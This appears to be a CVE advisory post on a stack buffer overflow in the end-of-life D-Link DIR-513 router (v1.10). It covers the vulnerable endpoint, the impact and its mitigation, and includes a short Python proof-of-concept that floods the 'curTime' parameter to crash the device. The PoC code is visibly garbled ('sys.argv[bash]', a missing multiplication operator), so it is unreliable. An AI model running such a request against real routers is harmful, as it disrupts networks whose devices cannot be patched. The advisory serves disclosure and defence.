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CVE-2025-70243 is a critical stack-based buffer overflow vulnerability discovered in the D-Link DIR-513 router running firmware version v1.10. The issue resides in the web handling component, specifically within the `goform/formSetWAN_Wizard534` script. An attacker can exploit this by sending a specially crafted HTTP POST request to the device with an overly long `curTime` parameter. The vulnerable code, likely part of the `boa` web server, copies this user-supplied data into a fixed-size buffer on the stack without proper bounds checking using a function like sprintf. This uncontrolled write can overwrite adjacent memory on the stack, including the function’s return address. By carefully crafting the payload, an attacker can redirect the program’s execution flow to malicious shellcode injected within the request, leading to a full device compromise. Public proof-of-concept (PoC) exploit code is available, confirming the vulnerability’s reproducibility . Because the D-Link DIR-513 is an end-of-life product, D-Link will not release a security patch, leaving all devices running this firmware version permanently vulnerable .
dailycve form:
Platform: D-Link DIR-513
Version: v1.10
Vulnerability: Stack Buffer Overflow
Severity: Critical
date: March 9, 2026
Prediction: No official patch
What Undercode Say:
Analytics:
The vulnerability is located in the `formSetWAN_Wizard534` function accessed via the `/goform` endpoint. The exploitation vector is remote over the network, requiring no authentication. The issue is a classic `CWE-121` stack buffer overflow triggered by the `curTime` parameter. The public availability of a PoC on GitHub significantly increases the risk of widespread exploitation . As the product is end-of-life, the vendor will not provide a fix, making this a permanent vulnerability for any user still operating this hardware .
Exploit:
A Proof of Concept exploit for this vulnerability is available. It demonstrates how to trigger the overflow.
!/usr/bin/env python3
CVE-2025-70243 Proof of Concept
Usage: python3 exploit.py <router_ip>
import sys
import requests
from urllib3 import disable_warnings
disable_warnings()
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[bash]} <router_ip>")
sys.exit(1)
target = sys.argv[bash]
url = f"http://{target}/goform/formSetWAN_Wizard534"
Payload: 500 'A's to trigger the overflow
payload = "A" 500
data = {
'curTime': payload
}
print(f"[] Sending exploit to {url}")
try:
response = requests.post(url, data=data, timeout=5, verify=False)
print(f"[+] Request sent. Response code: {response.status_code}")
except requests.exceptions.Timeout:
print("[+] Target may have crashed (Timeout).")
except Exception as e:
print(f"[-] An error occurred: {e}")
Protection from this CVE:
As no patch is available from the vendor, the only effective mitigation is to isolate or retire the affected devices. Users should immediately disconnect the D-Link DIR-513 router from the internet. It must be replaced with a supported and actively maintained router model. Network segmentation can be used to place the device on a separate, non-critical VLAN if decommissioning is not immediately possible, though this is a weak mitigation.
Impact:
Successful exploitation allows an unauthenticated, remote attacker to execute arbitrary code with root privileges on the device. This leads to a complete system compromise, allowing the attacker to monitor network traffic, launch further attacks against internal hosts, add the device to a botnet, and alter or block network traffic passing through the router .
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Sources:
Reported By: nvd.nist.gov
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